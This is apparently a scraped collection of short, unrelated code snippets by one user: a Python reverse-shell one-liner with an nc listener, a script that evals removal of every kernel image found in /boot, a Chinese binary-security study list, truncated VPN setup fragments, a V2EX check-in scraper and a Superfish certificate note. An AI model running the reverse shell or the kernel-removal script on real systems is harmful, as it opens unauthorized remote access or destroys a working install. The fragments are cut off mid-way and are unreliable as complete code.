coconut49

# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

# on the CLIENT, run the following:
#   nc -l 12345

# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345

# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345

coconut49

#!/bin/bash
str=`ls /boot/ | grep initrd.img|cut -c 12-`
arr=(${str// / })
cmd="apt-get remove "
for i in ${arr[@]}
do
    echo "Found Linux: "$i
    cmd=${cmd}"linux-image-"${i}" "
done
eval $cmd

coconut49

binary 方向

基础

• python
• 常见工具的使用(ida,od,windbg,gdb)
• win32编程(其他平台类推)
• c与汇编指令的对应
• c语言
• 常见汇编指令(其他平台类推)

coconut49

测试平台：DigitalOcean VPS ubuntu14.04 x64, strongswan5.3.2

运行以下命令请使用root权限

一：安装strongswan

由于ubuntu软件仓库中strongswan版本较低，因此从官网源码编译安装

apt-get install build-essential     #编译环境
aptitude install libgmp10 libgmp3-dev libssl-dev pkg-config libpcsclite-dev libpam0g-dev     #编译所需要的软件

coconut49

#! /bin/sh
# 安装racoon
apt-get install racoon

# 配置racoon
cat << _EOF_ > /etc/racoon/racoon.conf
log notify;
path pre_shared_key "/etc/racoon/psk.txt";
path certificate "/etc/racoon/certs";
listen {

coconut49

# -*- coding: utf-8 -*-
from bs4 import BeautifulSoup
import requests

username = '' ###账号###
password = '' ###密码###
login_url = 'http://v2ex.com/signin' ###如V2EX设置了使用 SSL,必须改 https###
index_url = 'http://v2ex.com' ###同上###
mission_url = 'http://www.v2ex.com/mission/daily' ###同上###
UA = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) \

coconut49

superfish.pem contains:

1. the Superfish certificate as found by both Chris Palmer and Matt Burke;
2. the encrypted private key as found by Karl Koscher.

$ openssl x509 -in superfish.pem -text
Certificate:
    Data:
        Version: 3 (0x2)